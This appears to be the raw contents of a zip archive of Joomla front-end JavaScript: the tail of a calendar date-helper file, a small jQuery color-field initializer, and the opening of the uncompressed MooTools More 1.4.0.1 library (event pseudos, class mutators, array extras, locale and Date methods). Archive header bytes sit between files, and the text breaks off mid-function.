			/** Modify to match the current calendar when overriding **/
			return '';
		} else {
			return this.getMonth();
		}
	};

	/** Returns the date. */
	Date.prototype.getLocalDate = function (dateType) {
		if (dateType != 'gregorian') {
			/** Modify to match the current calendar when overriding **/
			return '';
		} else {
			return this.getDate();
		}
	};

	/** Returns the number of day in the year. */
	Date.prototype.getLocalDay = function(dateType) {
		if (dateType  != 'gregorian') {
			return '';
		} else {
			return this.getDay();
		}
	};

	/** Returns the number of days in the current month */
	Date.prototype.getLocalMonthDays = function(dateType, month) {
		if (dateType != 'gregorian') {
			/** Modify to match the current calendar when overriding **/
			return '';
		} else {
			var year = this.getFullYear();
			if (typeof month == "undefined") {
				month = this.getMonth();
			}
			if (((0 == (year%4)) && ( (0 != (year%100)) || (0 == (year%400)))) && month == 1) {
				return 29;
			} else {
				return [31,28,31,30,31,30,31,31,30,31,30,31][month];
			}
		}
	};

	/** Returns the week number for the current date. */
	Date.prototype.getLocalWeekNumber = function(dateType) {
		if (dateType != 'gregorian') {
			/** Modify to match the current calendar when overriding **/
			return '';
		} else {
			var d = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
			var DoW = d.getDay();
			d.setDate(d.getDate() - (DoW + 6) % 7 + 3);                                     // Nearest Thu
			var ms = d.valueOf();                                                           // GMT
			d.setMonth(0);
			d.setDate(4);                                                                   // Thu in Week 1
			return Math.round((ms - d.valueOf()) / (7 * 864e5)) + 1;
		}
	};

	/** Returns the number of day in the year. */
	Date.prototype.getLocalDayOfYear = function(dateType) {
		if (dateType  != 'gregorian') {
			return '';
		} else {
			var now = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
			var then = new Date(this.getFullYear(), 0, 0, 0, 0, 0);
			var time = now - then;
			return Math.floor(time / Date.DAY);
		}
	};

	/** Checks date and time equality */
	Date.prototype.equalsTo = function(date) {
		return ((this.getFullYear() == date.getFullYear()) &&
		(this.getMonth() == date.getMonth()) &&
		(this.getDate() == date.getDate()) &&
		(this.getHours() == date.getHours()) &&
		(this.getMinutes() == date.getMinutes()));
	};

	/** Converts foreign date to gregorian date. */
	Date.localCalToGregorian = function(y, m, d) {
		/** Modify to match the current calendar when overriding **/
		return'';
	};

	/** Converts gregorian date to foreign date. */
	Date.gregorianToLocalCal = function(y, m, d) {
		/** Modify to match the current calendar when overriding **/
		return '';
	};

	/** INTERFACE METHODS FOR THE CALENDAR PICKER **/
	/************* END **************/

	/** Method to parse a string and return a date. **/
	Date.parseFieldDate = function(str, fmt, dateType) {
		if (dateType != 'gregorian')
			str = Date.toEnglish(str);

		var today = new Date();
		var y = 0;
		var m = -1;
		var d = 0;
		var a = str.split(/\W+/);
		var b = fmt.match(/%./g);
		var i = 0, j = 0;
		var hr = 0;
		var min = 0;
		var sec = 0;
		for (i = 0; i < a.length; ++i) {
			if (!a[i])
				continue;
			switch (b[i]) {
				case "%d":
				case "%e":
					d = parseInt(a[i], 10);
					break;

				case "%m":
					m = parseInt(a[i], 10) - 1;
					break;

				case "%Y":
				case "%y":
					y = parseInt(a[i], 10);
					(y < 100) && (y += (y > 29) ? 1900 : 2000);
					break;

				case "%b":
				case "%B":
					for (j = 0; j < 12; ++j) {
						if (JoomlaCalLocale.months[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { m = j; break; }
					}
					break;

				case "%H":
				case "%I":
				case "%k":
				case "%l":
					hr = parseInt(a[i], 10);
					break;

				case "%P":
				case "%p":
					if (/pm/i.test(a[i]) && hr < 12)
						hr += 12;
					else if (/am/i.test(a[i]) && hr >= 12)
						hr -= 12;
					break;

				case "%M":
					min = parseInt(a[i], 10);
					break;
				case "%S":
					sec = parseInt(a[i], 10);
					break;
			}
		}
		if (isNaN(y)) y = today.getFullYear();
		if (isNaN(m)) m = today.getMonth();
		if (isNaN(d)) d = today.getDate();
		if (isNaN(hr)) hr = today.getHours();
		if (isNaN(min)) min = today.getMinutes();
		if (isNaN(sec)) sec = today.getSeconds();
		if (y != 0 && m != -1 && d != 0)
			return new Date(y, m, d, hr, min, sec);
		y = 0; m = -1; d = 0;
		for (i = 0; i < a.length; ++i) {
			if (a[i].search(/[a-zA-Z]+/) != -1) {
				var t = -1;
				for (j = 0; j < 12; ++j) {
					if (JoomlaCalLocale.months[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { t = j; break; }
				}
				if (t != -1) {
					if (m != -1) {
						d = m+1;
					}
					m = t;
				}
			} else if (parseInt(a[i], 10) <= 12 && m == -1) {
				m = a[i]-1;
			} else if (parseInt(a[i], 10) > 31 && y == 0) {
				y = parseInt(a[i], 10);
				(y < 100) && (y += (y > 29) ? 1900 : 2000);
			} else if (d == 0) {
				d = a[i];
			}
		}
		if (y == 0)
			y = today.getFullYear();
		if (m != -1 && d != 0)
			return new Date(y, m, d, hr, min, sec);
		return today;
	};

	/** Prints the date in a string according to the given format. */
	Date.prototype.print = function (str, dateType, translate) {
		/** Handle calendar type **/
		if (typeof dateType !== 'string') str = '';
		if (!dateType) dateType = 'gregorian';

		/** Handle wrong format **/
		if (typeof str !== 'string') str = '';
		if (!str) return '';

		if (this.getLocalDate(dateType) == 'NaN' || !this.getLocalDate(dateType)) return '';
		var m = this.getLocalMonth(dateType);
		var d = this.getLocalDate(dateType);
		var y = this.getLocalFullYear(dateType);
		var wn = this.getLocalWeekNumber(dateType);
		var w = this.getDay();
		var s = {};
		var hr = this.getHours();
		var pm = (hr >= 12);
		var ir = (pm) ? (hr - 12) : hr;
		var dy = this.getLocalDayOfYear(dateType);
		if (ir == 0)
			ir = 12;
		var min = this.getMinutes();
		var sec = this.getSeconds();
		s["%a"] = JoomlaCalLocale.shortDays[w];                                                     // abbreviated weekday name
		s["%A"] = JoomlaCalLocale.days[w];                                                          // full weekday name
		s["%b"] = JoomlaCalLocale.shortMonths[m];                                                   // abbreviated month name
		s["%B"] = JoomlaCalLocale.months[m];                                                        // full month name
		// FIXME: %c : preferred date and time representation for the current locale
		s["%C"] = 1 + Math.floor(y / 100);                                                          // the century number
		s["%d"] = (d < 10) ? ("0" + d) : d;                                                         // the day of the month (range 01 to 31)
		s["%e"] = d;                                                                                // the day of the month (range 1 to 31)
		// FIXME: %D : american date style: %m/%d/%y
		// FIXME: %E, %F, %G, %g, %h (man strftime)
		s["%H"] = (hr < 10) ? ("0" + hr) : hr;                                                      // hour, range 00 to 23 (24h format)
		s["%I"] = (ir < 10) ? ("0" + ir) : ir;                                                      // hour, range 01 to 12 (12h format)
		s["%j"] = (dy < 100) ? ((dy < 10) ? ("00" + dy) : ("0" + dy)) : dy;                         // day of the year (range 001 to 366)
		s["%k"] = hr;                                                                               // hour, range 0 to 23 (24h format)
		s["%l"] = ir;                                                                               // hour, range 1 to 12 (12h format)
		s["%m"] = (m < 9) ? ("0" + (1+m)) : (1+m);                                                  // month, range 01 to 12
		s["%M"] = (min < 10) ? ("0" + min) : min;                                                   // minute, range 00 to 59
		s["%n"] = "\n";                                                                             // a newline character
		s["%p"] = pm ? JoomlaCalLocale.PM : JoomlaCalLocale.AM;
		s["%P"] = pm ? JoomlaCalLocale.pm : JoomlaCalLocale.am;
		// FIXME: %r : the time in am/pm notation %I:%M:%S %p
		// FIXME: %R : the time in 24-hour notation %H:%M
		s["%s"] = Math.floor(this.getTime() / 1000);
		s["%S"] = (sec < 10) ? ("0" + sec) : sec;                                                   // seconds, range 00 to 59
		s["%t"] = "\t";                                                                             // a tab character
		// FIXME: %T : the time in 24-hour notation (%H:%M:%S)
		s["%U"] = s["%W"] = s["%V"] = (wn < 10) ? ("0" + wn) : wn;
		s["%u"] = w + 1;                                                                            // the day of the week (range 1 to 7, 1 = MON)
		s["%w"] = w;                                                                                // the day of the week (range 0 to 6, 0 = SUN)
		// FIXME: %x : preferred date representation for the current locale without the time
		// FIXME: %X : preferred time representation for the current locale without the date
		s["%y"] = ('' + y).substr(2, 2);                                                            // year without the century (range 00 to 99)
		s["%Y"] = y;                                                                                // year with the century
		s["%%"] = "%";                                                                              // a literal '%' character

		var re = /%./g;

		var tmpDate = str.replace(re, function (par) { return s[par] || par; });
		if (Object.prototype.toString.call(JoomlaCalLocale.localLangNumbers) === '[object Array]' && dateType != 'gregorian' && translate)
			tmpDate = Date.convertNumbers(tmpDate);

		return tmpDate;
	};
})(Date);
PK!`�^ ��js/color-field-init.jsnu�[���jQuery(document).ready(function ($){
	$('select.simplecolors').simplecolors();

	$(document).on('subform-row-add', function(event, row){
		$(row).find('select.simplecolors').simplecolors();
	});
});
PK!'�/��R�R js/mootools-more-uncompressed.jsnu�[���// MooTools: the javascript framework.
// Load this file's selection again by visiting: http://mootools.net/more/065f2f092ece4e3b32bb5214464cf926 
// Or build this file again with packager using: packager build More/More More/Events.Pseudos More/Class.Refactor More/Class.Binds More/Class.Occlude More/Chain.Wait More/Array.Extras More/Date More/Date.Extras More/Number.Format More/Object.Extras More/String.Extras More/String.QueryString More/URI More/URI.Relative More/Hash More/Hash.Extras More/Element.Forms More/Elements.From More/Element.Event.Pseudos More/Element.Event.Pseudos.Keys More/Element.Measure More/Element.Pin More/Element.Position More/Element.Shortcuts More/Form.Request More/Form.Request.Append More/Form.Validator More/Form.Validator.Inline More/Form.Validator.Extras More/OverText More/Fx.Elements More/Fx.Accordion More/Fx.Move More/Fx.Reveal More/Fx.Scroll More/Fx.Slide More/Fx.SmoothScroll More/Fx.Sort More/Drag More/Drag.Move More/Slider More/Sortables More/Request.JSONP More/Request.Queue More/Request.Periodical More/Assets More/Color More/Group More/Hash.Cookie More/IframeShim More/Table More/HtmlTable More/HtmlTable.Zebra More/HtmlTable.Sort More/HtmlTable.Select More/Keyboard More/Keyboard.Extras More/Mask More/Scroller More/Tips More/Spinner More/Locale More/Locale.Set.From More/Locale.en-US.Date More/Locale.en-US.Form.Validator More/Locale.en-US.Number More/Locale.ar.Date More/Locale.ar.Form.Validator More/Locale.ca-CA.Date More/Locale.ca-CA.Form.Validator More/Locale.cs-CZ.Date More/Locale.cs-CZ.Form.Validator More/Locale.da-DK.Date More/Locale.da-DK.Form.Validator More/Locale.de-CH.Date More/Locale.de-CH.Form.Validator More/Locale.de-DE.Date More/Locale.de-DE.Form.Validator More/Locale.de-DE.Number More/Locale.en-GB.Date More/Locale.es-AR.Date More/Locale.es-AR.Form.Validator More/Locale.es-ES.Date More/Locale.es-ES.Form.Validator More/Locale.et-EE.Date More/Locale.et-EE.Form.Validator More/Locale.EU.Number More/Locale.fa.Date More/Locale.fa.Form.Validator More/Locale.fi-FI.Date More/Locale.fi-FI.Form.Validator More/Locale.fi-FI.Number More/Locale.fr-FR.Date More/Locale.fr-FR.Form.Validator More/Locale.fr-FR.Number More/Locale.he-IL.Date More/Locale.he-IL.Form.Validator More/Locale.he-IL.Number More/Locale.hu-HU.Date More/Locale.hu-HU.Form.Validator More/Locale.it-IT.Date More/Locale.it-IT.Form.Validator More/Locale.ja-JP.Date More/Locale.ja-JP.Form.Validator More/Locale.ja-JP.Number More/Locale.nl-NL.Date More/Locale.nl-NL.Form.Validator More/Locale.nl-NL.Number More/Locale.no-NO.Date More/Locale.no-NO.Form.Validator More/Locale.pl-PL.Date More/Locale.pl-PL.Form.Validator More/Locale.pt-BR.Date More/Locale.pt-BR.Form.Validator More/Locale.pt-PT.Date More/Locale.pt-PT.Form.Validator More/Locale.ru-RU-unicode.Date More/Locale.ru-RU-unicode.Form.Validator More/Locale.si-SI.Date More/Locale.si-SI.Form.Validator More/Locale.sv-SE.Date More/Locale.sv-SE.Form.Validator More/Locale.uk-UA.Date More/Locale.uk-UA.Form.Validator More/Locale.zh-CH.Date More/Locale.zh-CH.Form.Validator
/*
---

script: More.js

name: More

description: MooTools More

license: MIT-style license

authors:
  - Guillermo Rauch
  - Thomas Aylott
  - Scott Kyle
  - Arian Stolwijk
  - Tim Wienk
  - Christoph Pojer
  - Aaron Newton
  - Jacob Thornton

requires:
  - Core/MooTools

provides: [MooTools.More]

...
*/

MooTools.More = {
	'version': '1.4.0.1',
	'build': 'a4244edf2aa97ac8a196fc96082dd35af1abab87'
};


/*
---

name: Events.Pseudos

description: Adds the functionality to add pseudo events

license: MIT-style license

authors:
  - Arian Stolwijk

requires: [Core/Class.Extras, Core/Slick.Parser, More/MooTools.More]

provides: [Events.Pseudos]

...
*/

(function(){

Events.Pseudos = function(pseudos, addEvent, removeEvent){

	var storeKey = '_monitorEvents:';

	var storageOf = function(object){
		return {
			store: object.store ? function(key, value){
				object.store(storeKey + key, value);
			} : function(key, value){
				(object._monitorEvents || (object._monitorEvents = {}))[key] = value;
			},
			retrieve: object.retrieve ? function(key, dflt){
				return object.retrieve(storeKey + key, dflt);
			} : function(key, dflt){
				if (!object._monitorEvents) return dflt;
				return object._monitorEvents[key] || dflt;
			}
		};
	};

	var splitType = function(type){
		if (type.indexOf(':') == -1 || !pseudos) return null;

		var parsed = Slick.parse(type).expressions[0][0],
			parsedPseudos = parsed.pseudos,
			l = parsedPseudos.length,
			splits = [];

		while (l--){
			var pseudo = parsedPseudos[l].key,
				listener = pseudos[pseudo];
			if (listener != null) splits.push({
				event: parsed.tag,
				value: parsedPseudos[l].value,
				pseudo: pseudo,
				original: type,
				listener: listener
			});
		}
		return splits.length ? splits : null;
	};

	return {

		addEvent: function(type, fn, internal){
			var split = splitType(type);
			if (!split) return addEvent.call(this, type, fn, internal);

			var storage = storageOf(this),
				events = storage.retrieve(type, []),
				eventType = split[0].event,
				args = Array.slice(arguments, 2),
				stack = fn,
				self = this;

			split.each(function(item){
				var listener = item.listener,
					stackFn = stack;
				if (listener == false) eventType += ':' + item.pseudo + '(' + item.value + ')';
				else stack = function(){
					listener.call(self, item, stackFn, arguments, stack);
				};
			});

			events.include({type: eventType, event: fn, monitor: stack});
			storage.store(type, events);

			if (type != eventType) addEvent.apply(this, [type, fn].concat(args));
			return addEvent.apply(this, [eventType, stack].concat(args));
		},

		removeEvent: function(type, fn){
			var split = splitType(type);
			if (!split) return removeEvent.call(this, type, fn);

			var storage = storageOf(this),
				events = storage.retrieve(type);
			if (!events) return this;

			var args = Array.slice(arguments, 2);

			removeEvent.apply(this, [type, fn].concat(args));
			events.each(function(monitor, i){
				if (!fn || monitor.event == fn) removeEvent.apply(this, [monitor.type, monitor.monitor].concat(args));
				delete events[i];
			}, this);

			storage.store(type, events);
			return this;
		}

	};

};

var pseudos = {

	once: function(split, fn, args, monitor){
		fn.apply(this, args);
		this.removeEvent(split.event, monitor)
			.removeEvent(split.original, fn);
	},

	throttle: function(split, fn, args){
		if (!fn._throttled){
			fn.apply(this, args);
			fn._throttled = setTimeout(function(){
				fn._throttled = false;
			}, split.value || 250);
		}
	},

	pause: function(split, fn, args){
		clearTimeout(fn._pause);
		fn._pause = fn.delay(split.value || 250, this, args);
	}

};

Events.definePseudo = function(key, listener){
	pseudos[key] = listener;
	return this;
};

Events.lookupPseudo = function(key){
	return pseudos[key];
};

var proto = Events.prototype;
Events.implement(Events.Pseudos(pseudos, proto.addEvent, proto.removeEvent));

['Request', 'Fx'].each(function(klass){
	if (this[klass]) this[klass].implement(Events.prototype);
});

})();


/*
---

script: Class.Refactor.js

name: Class.Refactor

description: Extends a class onto itself with new property, preserving any items attached to the class's namespace.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Class
  - /MooTools.More

# Some modules declare themselves dependent on Class.Refactor
provides: [Class.refactor, Class.Refactor]

...
*/

Class.refactor = function(original, refactors){

	Object.each(refactors, function(item, name){
		var origin = original.prototype[name];
		origin = (origin && origin.$origin) || origin || function(){};
		original.implement(name, (typeof item == 'function') ? function(){
			var old = this.previous;
			this.previous = origin;
			var value = item.apply(this, arguments);
			this.previous = old;
			return value;
		} : item);
	});

	return original;

};


/*
---

script: Class.Binds.js

name: Class.Binds

description: Automagically binds specified methods in a class to the instance of the class.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Class
  - /MooTools.More

provides: [Class.Binds]

...
*/

Class.Mutators.Binds = function(binds){
	if (!this.prototype.initialize) this.implement('initialize', function(){});
	return Array.from(binds).concat(this.prototype.Binds || []);
};

Class.Mutators.initialize = function(initialize){
	return function(){
		Array.from(this.Binds).each(function(name){
			var original = this[name];
			if (original) this[name] = original.bind(this);
		}, this);
		return initialize.apply(this, arguments);
	};
};


/*
---

script: Class.Occlude.js

name: Class.Occlude

description: Prevents a class from being applied to a DOM element twice.

license: MIT-style license.

authors:
  - Aaron Newton

requires:
  - Core/Class
  - Core/Element
  - /MooTools.More

provides: [Class.Occlude]

...
*/

Class.Occlude = new Class({

	occlude: function(property, element){
		element = document.id(element || this.element);
		var instance = element.retrieve(property || this.property);
		if (instance && !this.occluded)
			return (this.occluded = instance);

		this.occluded = false;
		element.store(property || this.property, this);
		return this.occluded;
	}

});


/*
---

script: Chain.Wait.js

name: Chain.Wait

description: value, Adds a method to inject pauses between chained events.

license: MIT-style license.

authors:
  - Aaron Newton

requires:
  - Core/Chain
  - Core/Element
  - Core/Fx
  - /MooTools.More

provides: [Chain.Wait]

...
*/

(function(){

	var wait = {
		wait: function(duration){
			return this.chain(function(){
				this.callChain.delay(duration == null ? 500 : duration, this);
				return this;
			}.bind(this));
		}
	};

	Chain.implement(wait);

	if (this.Fx) Fx.implement(wait);

	if (this.Element && Element.implement && this.Fx){
		Element.implement({

			chains: function(effects){
				Array.from(effects || ['tween', 'morph', 'reveal']).each(function(effect){
					effect = this.get(effect);
					if (!effect) return;
					effect.setOptions({
						link:'chain'
					});
				}, this);
				return this;
			},

			pauseFx: function(duration, effect){
				this.chains(effect).get(effect || 'tween').wait(duration);
				return this;
			}

		});
	}

})();


/*
---

script: Array.Extras.js

name: Array.Extras

description: Extends the Array native object to include useful methods to work with arrays.

license: MIT-style license

authors:
  - Christoph Pojer
  - Sebastian Markbåge

requires:
  - Core/Array
  - MooTools.More

provides: [Array.Extras]

...
*/

(function(nil){

Array.implement({

	min: function(){
		return Math.min.apply(null, this);
	},

	max: function(){
		return Math.max.apply(null, this);
	},

	average: function(){
		return this.length ? this.sum() / this.length : 0;
	},

	sum: function(){
		var result = 0, l = this.length;
		if (l){
			while (l--) result += this[l];
		}
		return result;
	},

	unique: function(){
		return [].combine(this);
	},

	shuffle: function(){
		for (var i = this.length; i && --i;){
			var temp = this[i], r = Math.floor(Math.random() * ( i + 1 ));
			this[i] = this[r];
			this[r] = temp;
		}
		return this;
	},

	reduce: function(fn, value){
		for (var i = 0, l = this.length; i < l; i++){
			if (i in this) value = value === nil ? this[i] : fn.call(null, value, this[i], i, this);
		}
		return value;
	},

	reduceRight: function(fn, value){
		var i = this.length;
		while (i--){
			if (i in this) value = value === nil ? this[i] : fn.call(null, value, this[i], i, this);
		}
		return value;
	}

});

})();


/*
---

script: Object.Extras.js

name: Object.Extras

description: Extra Object generics, like getFromPath which allows a path notation to child elements.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Object
  - /MooTools.More

provides: [Object.Extras]

...
*/

(function(){

var defined = function(value){
	return value != null;
};

var hasOwnProperty = Object.prototype.hasOwnProperty;

Object.extend({

	getFromPath: function(source, parts){
		if (typeof parts == 'string') parts = parts.split('.');
		for (var i = 0, l = parts.length; i < l; i++){
			if (hasOwnProperty.call(source, parts[i])) source = source[parts[i]];
			else return null;
		}
		return source;
	},

	cleanValues: function(object, method){
		method = method || defined;
		for (var key in object) if (!method(object[key])){
			delete object[key];
		}
		return object;
	},

	erase: function(object, key){
		if (hasOwnProperty.call(object, key)) delete object[key];
		return object;
	},

	run: function(object){
		var args = Array.slice(arguments, 1);
		for (var key in object) if (object[key].apply){
			object[key].apply(object, args);
		}
		return object;
	}

});

})();


/*
---

script: Locale.js

name: Locale

description: Provides methods for localization.

license: MIT-style license

authors:
  - Aaron Newton
  - Arian Stolwijk

requires:
  - Core/Events
  - /Object.Extras
  - /MooTools.More

provides: [Locale, Lang]

...
*/

(function(){

var current = null,
	locales = {},
	inherits = {};

var getSet = function(set){
	if (instanceOf(set, Locale.Set)) return set;
	else return locales[set];
};

var Locale = this.Locale = {

	define: function(locale, set, key, value){
		var name;
		if (instanceOf(locale, Locale.Set)){
			name = locale.name;
			if (name) locales[name] = locale;
		} else {
			name = locale;
			if (!locales[name]) locales[name] = new Locale.Set(name);
			locale = locales[name];
		}

		if (set) locale.define(set, key, value);

		

		if (!current) current = locale;

		return locale;
	},

	use: function(locale){
		locale = getSet(locale);

		if (locale){
			current = locale;

			this.fireEvent('change', locale);

			
		}

		return this;
	},

	getCurrent: function(){
		return current;
	},

	get: function(key, args){
		return (current) ? current.get(key, args) : '';
	},

	inherit: function(locale, inherits, set){
		locale = getSet(locale);

		if (locale) locale.inherit(inherits, set);
		return this;
	},

	list: function(){
		return Object.keys(locales);
	}

};

Object.append(Locale, new Events);

Locale.Set = new Class({

	sets: {},

	inherits: {
		locales: [],
		sets: {}
	},

	initialize: function(name){
		this.name = name || '';
	},

	define: function(set, key, value){
		var defineData = this.sets[set];
		if (!defineData) defineData = {};

		if (key){
			if (typeOf(key) == 'object') defineData = Object.merge(defineData, key);
			else defineData[key] = value;
		}
		this.sets[set] = defineData;

		return this;
	},

	get: function(key, args, _base){
		var value = Object.getFromPath(this.sets, key);
		if (value != null){
			var type = typeOf(value);
			if (type == 'function') value = value.apply(null, Array.from(args));
			else if (type == 'object') value = Object.clone(value);
			return value;
		}

		// get value of inherited locales
		var index = key.indexOf('.'),
			set = index < 0 ? key : key.substr(0, index),
			names = (this.inherits.sets[set] || []).combine(this.inherits.locales).include('en-US');
		if (!_base) _base = [];

		for (var i = 0, l = names.length; i < l; i++){
			if (_base.contains(names[i])) continue;
			_base.include(names[i]);

			var locale = locales[names[i]];
			if (!locale) continue;

			value = locale.get(key, args, _base);
			if (value != null) return value;
		}

		return '';
	},

	inherit: function(names, set){
		names = Array.from(names);

		if (set && !this.inherits.sets[set]) this.inherits.sets[set] = [];

		var l = names.length;
		while (l--) (set ? this.inherits.sets[set] : this.inherits.locales).unshift(names[l]);

		return this;
	}

});



})();


/*
---

name: Locale.en-US.Date

description: Date messages for US English.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - /Locale

provides: [Locale.en-US.Date]

...
*/

Locale.define('en-US', 'Date', {

	months: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
	months_abbr: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
	days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'],
	days_abbr: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],

	// Culture's date order: MM/DD/YYYY
	dateOrder: ['month', 'date', 'year'],
	shortDate: '%m/%d/%Y',
	shortTime: '%I:%M%p',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 0,

	// Date.Extras
	ordinal: function(dayOfMonth){
		// 1st, 2nd, 3rd, etc.
		return (dayOfMonth > 3 && dayOfMonth < 21) ? 'th' : ['th', 'st', 'nd', 'rd', 'th'][Math.min(dayOfMonth % 10, 4)];
	},

	lessThanMinuteAgo: 'less than a minute ago',
	minuteAgo: 'about a minute ago',
	minutesAgo: '{delta} minutes ago',
	hourAgo: 'about an hour ago',
	hoursAgo: 'about {delta} hours ago',
	dayAgo: '1 day ago',
	daysAgo: '{delta} days ago',
	weekAgo: '1 week ago',
	weeksAgo: '{delta} weeks ago',
	monthAgo: '1 month ago',
	monthsAgo: '{delta} months ago',
	yearAgo: '1 year ago',
	yearsAgo: '{delta} years ago',

	lessThanMinuteUntil: 'less than a minute from now',
	minuteUntil: 'about a minute from now',
	minutesUntil: '{delta} minutes from now',
	hourUntil: 'about an hour from now',
	hoursUntil: 'about {delta} hours from now',
	dayUntil: '1 day from now',
	daysUntil: '{delta} days from now',
	weekUntil: '1 week from now',
	weeksUntil: '{delta} weeks from now',
	monthUntil: '1 month from now',
	monthsUntil: '{delta} months from now',
	yearUntil: '1 year from now',
	yearsUntil: '{delta} years from now'

});


/*
---

script: Date.js

name: Date

description: Extends the Date native object to include methods useful in managing dates.

license: MIT-style license

authors:
  - Aaron Newton
  - Nicholas Barthelemy - https://svn.nbarthelemy.com/date-js/
  - Harald Kirshner - mail [at] digitarald.de; http://digitarald.de
  - Scott Kyle - scott [at] appden.com; http://appden.com

requires:
  - Core/Array
  - Core/String
  - Core/Number
  - MooTools.More
  - Locale
  - Locale.en-US.Date

provides: [Date]

...
*/

(function(){

var Date = this.Date;

var DateMethods = Date.Methods = {
	ms: 'Milliseconds',
	year: 'FullYear',
	min: 'Minutes',
	mo: 'Month',
	sec: 'Seconds',
	hr: 'Hours'
};

['Date', 'Day', 'FullYear', 'Hours', 'Milliseconds', 'Minutes', 'Month', 'Seconds', 'Time', 'TimezoneOffset',
	'Week', 'Timezone', 'GMTOffset', 'DayOfYear', 'LastMonth', 'LastDayOfMonth', 'UTCDate', 'UTCDay', 'UTCFullYear',
	'AMPM', 'Ordinal', 'UTCHours', 'UTCMilliseconds', 'UTCMinutes', 'UTCMonth', 'UTCSeconds', 'UTCMilliseconds'].each(function(method){
	Date.Methods[method.toLowerCase()] = method;
});

var pad = function(n, digits, string){
	if (digits == 1) return n;
	return n < Math.pow(10, digits - 1) ? (string || '0') + pad(n, digits - 1, string) : n;
};

Date.implement({

	set: function(prop, value){
		prop = prop.toLowerCase();
		var method = DateMethods[prop] && 'set' + DateMethods[prop];
		if (method && this[method]) this[method](value);
		return this;
	}.overloadSetter(),

	get: function(prop){
		prop = prop.toLowerCase();
		var method = DateMethods[prop] && 'get' + DateMethods[prop];
		if (method && this[method]) return this[method]();
		return null;
	}.overloadGetter(),

	clone: function(){
		return new Date(this.get('time'));
	},

	increment: function(interval, times){
		interval = interval || 'day';
		times = times != null ? times : 1;

		switch (interval){
			case 'year':
				return this.increment('month', times * 12);
			case 'month':
				var d = this.get('date');
				this.set('date', 1).set('mo', this.get('mo') + times);
				return this.set('date', d.min(this.get('lastdayofmonth')));
			case 'week':
				return this.increment('day', times * 7);
			case 'day':
				return this.set('date', this.get('date') + times);
		}

		if (!Date.units[interval]) throw new Error(interval + ' is not a supported interval');

		return this.set('time', this.get('time') + times * Date.units[interval]());
	},

	decrement: function(interval, times){
		return this.increment(interval, -1 * (times != null ? times : 1));
	},

	isLeapYear: function(){
		return Date.isLeapYear(this.get('year'));
	},

	clearTime: function(){
		return this.set({hr: 0, min: 0, sec: 0, ms: 0});
	},

	diff: function(date, resolution){
		if (typeOf(date) == 'string') date = Date.parse(date);

		return ((date - this) / Date.units[resolution || 'day'](3, 3)).round(); // non-leap year, 30-day month
	},

	getLastDayOfMonth: function(){
		return Date.daysInMonth(this.get('mo'), this.get('year'));
	},

	getDayOfYear: function(){
		return (Date.UTC(this.get('year'), this.get('mo'), this.get('date') + 1)
			- Date.UTC(this.get('year'), 0, 1)) / Date.units.day();
	},

	setDay: function(day, firstDayOfWeek){
		if (firstDayOfWeek == null){
			firstDayOfWeek = Date.getMsg('firstDayOfWeek');
			if (firstDayOfWeek === '') firstDayOfWeek = 1;
		}

		day = (7 + Date.parseDay(day, true) - firstDayOfWeek) % 7;
		var currentDay = (7 + this.get('day') - firstDayOfWeek) % 7;

		return this.increment('day', day - currentDay);
	},

	getWeek: function(firstDayOfWeek){
		if (firstDayOfWeek == null){
			firstDayOfWeek = Date.getMsg('firstDayOfWeek');
			if (firstDayOfWeek === '') firstDayOfWeek = 1;
		}

		var date = this,
			dayOfWeek = (7 + date.get('day') - firstDayOfWeek) % 7,
			dividend = 0,
			firstDayOfYear;

		if (firstDayOfWeek == 1){
			// ISO-8601, week belongs to year that has the most days of the week (i.e. has the thursday of the week)
			var month = date.get('month'),
				startOfWeek = date.get('date') - dayOfWeek;

			if (month == 11 && startOfWeek > 28) return 1; // Week 1 of next year

			if (month == 0 && startOfWeek < -2){
				// Use a date from last year to determine the week
				date = new Date(date).decrement('day', dayOfWeek);
				dayOfWeek = 0;
			}

			firstDayOfYear = new Date(date.get('year'), 0, 1).get('day') || 7;
			if (firstDayOfYear > 4) dividend = -7; // First week of the year is not week 1
		} else {
			// In other cultures the first week of the year is always week 1 and the last week always 53 or 54.
			// Days in the same week can have a different weeknumber if the week spreads across two years.
			firstDayOfYear = new Date(date.get('year'), 0, 1).get('day');
		}

		dividend += date.get('dayofyear');
		dividend += 6 - dayOfWeek; // Add days so we calculate the current date's week as a full week
		dividend += (7 + firstDayOfYear - firstDayOfWeek) % 7; // Make up for first week of the year not being a full week

		return (dividend / 7);
	},

	getOrdinal: function(day){
		return Date.getMsg('ordinal', day || this.get('date'));
	},

	getTimezone: function(){
		return this.toString()
			.replace(/^.*? ([A-Z]{3}).[0-9]{4}.*$/, '$1')
			.replace(/^.*?\(([A-Z])[a-z]+ ([A-Z])[a-z]+ ([A-Z])[a-z]+\)$/, '$1$2$3');
	},

	getGMTOffset: function(){
		var off = this.get('timezoneOffset');
		return ((off > 0) ? '-' : '+') + pad((off.abs() / 60).floor(), 2) + pad(off % 60, 2);
	},

	setAMPM: function(ampm){
		ampm = ampm.toUpperCase();
		var hr = this.get('hr');
		if (hr > 11 && ampm == 'AM') return this.decrement('hour', 12);
		else if (hr < 12 && ampm == 'PM') return this.increment('hour', 12);
		return this;
	},

	getAMPM: function(){
		return (this.get('hr') < 12) ? 'AM' : 'PM';
	},

	parse: function(str){
		this.set('time', Date.parse(str));
		return this;
	},

	isValid: function(date){
		if (!date) date = this;
		return typeOf(date) == 'date' && !isNaN(date.valueOf());
	},

	format: function(format){
		if (!this.isValid()) return 'invalid date';

		if (!format) format = '%x %X';
		if (typeof format == 'string') format = formats[format.toLowerCase()] || format;
		if (typeof format == 'function') return format(this);

